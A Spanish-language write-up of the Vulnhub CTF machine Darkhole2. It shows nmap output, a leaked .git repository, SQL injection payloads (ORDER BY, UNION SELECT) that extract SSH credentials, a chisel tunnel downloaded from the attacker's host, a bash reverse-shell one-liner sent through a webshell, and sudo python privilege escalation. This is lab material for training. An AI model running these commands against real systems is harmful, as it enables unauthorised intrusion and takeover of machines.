Darkhole2 | CTF Writeup - Vulnhub
Darkhole2
Empezamos escaneando nuestra red local en búsqueda de la máquina Darkhole2 con
arp-scan
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
> arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:85:8e:61, IPv4: 192.168.216.133
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.216.1 00:50:56:c0:00:08 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 VMware, Inc.
192.168.216.143 00:0c:29:be:87:55 VMware, Inc.
192.168.216.254 00:50:56:e7:c0:0d VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.011 seconds (127.30 hosts/sec). 4 responded
> export IP=192.168.216.143
Aplicamos reconocimiento a la máquina víctima mediante la herramienta
nmap
, enumerando puertos y servicios.
1
2
3
4
5
6
7
8
9
10
# Nmap 7.93 scan initiated Sat Jan 6 00:10:57 2024 as: nmap -sS -T5 --min-rate 5000 -p- --open -oN scan.txt 192.168.216.143
Nmap scan report for 192.168.216.143
Host is up (0.000065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:BE:87:55 (VMware)
# Nmap done at Sat Jan 6 00:10:58 2024 -- 1 IP address (1 host up) scanned in 1.12 seconds
Vemos que están abiertos los puertos 80 y 22 respectivamente. Para analizar más en profundidad, empleamos scripts básicos de reconocimiento nuevamente con la herramienta
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.93 scan initiated Sat Jan 6 00:11:18 2024 as: nmap -sCV -p22,80 -oN versions.txt 192.168.216.143
Nmap scan report for 192.168.216.143
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57b1f564289891516d70766ea552435d (RSA)
| 256 cc64fd7cd85e488a289891b9e41e6da8 (ECDSA)
|_ 256 9e7708a4529f338d9619ba757127bd60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: DarkHole V2
| http-git:
| 192.168.216.143:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: i changed login.php file for more secure
MAC Address: 00:0C:29:BE:87:55 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 6 00:11:25 2024 -- 1 IP address (1 host up) scanned in 6.73 seconds
Resulta de interés que tengamos acceso al repositorio del proyecto. Primeramente, nos traemos el repositorio a local con
wget -r http://$IP/.git/
e intentamos enumerar los logs y commits.
Vemos información crítica expuesta. Podemos ver qué son exactamente esos commits con
git show
.
![2.png]](/assets/img/darkhole2/2.png)
Intentamos iniciar sesión a la página web con los datos expuestos. Cuando iniciamos sesión, vemos el siguiente dashboard:
Si ponemos una comilla en el parámetro id de la URL, sucede lo siguiente:
Vemos que es vulnerable a una inyección SQL. Ordenamos por columnas con la query
order by 1,2,3,4,5,6-- -
, y llegamos a la conclusión de que están siendo utilizadas 6 columnas. Ahora, empleamos un ataque de tipoUNION SELECT
.
¡Podemos enumerar la base de datos siendo utilizada y lo vemos reflejado en la web! Ahora, solo sigue enumerar las tablas y columnas.
Llama la atención la tabla de nombre
ssh
, sobretodo porque habíamos visto que estaba corriendo ssh por el puerto 22. Intentamos ver si hay información interesante:
Enumeramos las columnas
user
ypass
:
Nos intentamos conectar por
ssh
con las credenciales obtenidas.
Dado que tenemos acceso a la máquina, intentamos enumerarla para escalar nuestros privilegios. Si hacemos
ls -la
, podemos ver que el archivo.bash_history
tiene permisos de lectura con el usuario jehad. Si le aplicamos uncat
, vemos lo siguiente:
Parecería ser que el puerto 9999 de la máquina está corriendo un servicio HTTP internamente. Intentamos ver que hay ahí mediante un
curl
.
Vemos que el usuario losy está corriendo esta PHP Webshell. Ahora bien, nos convendría a nosotros en nuestro equipo de atacante hacer un port forwarding para poder ver este puerto en nuestra máquina y así entablarnos una Reverse Shell. Nos descargamos
chisel
tanto en nuestra máquina atacante como en la máquina víctima. Desde la máquina atacante, nos levantamos un servidor HTTP con el comandopython3 -m http.server 80
para poder obtener el binario dechisel
desde la máquina víctima con el comandowget http://{ipAtacante}/chisel
. Luego, aplicamos los siguientes comandos:
De esta forma, se creará un túnel por TCP que nos conectará el puerto 9999 de la máquina víctima con nuestro puerto 9999. Ahora sí, desde nuestra máquina atacante empleamos netcat para ponernos en escucha por el puerto 443 con
nc -nlvp 443
. Desde otra terminal, empleamoscurl -x GET http://$IP/?cmd=bash -c 'bash -i >%26 /dev/tcp//443 0>%261'
para poder entablarnos la Reverse Shell.
¡Listo! Ya estamos como el usuario losy. Hacemos un tratamiento de la tty:
Empezamos a enumerar y vemos la primera flag:
Nuevamente vemos el archivo
.bash_history
con permisos de lectura. Si le aplicamos uncat
podemos apreciar lo siguiente:
Vemos una filtración de credenciales. En este caso, la contraseña de losy es gang. También vemos que intenta emplear sudo para ejecutar python como root. Esto significa que tiene privilegios a nivel de sudoers para ejecutar este binario. Lo confirmamos haciendo un
sudo -l
.
Ejecutamos python como root:
¡Listo! Ganamos acceso a la máquina como el usuario root y obtuvimos su flag.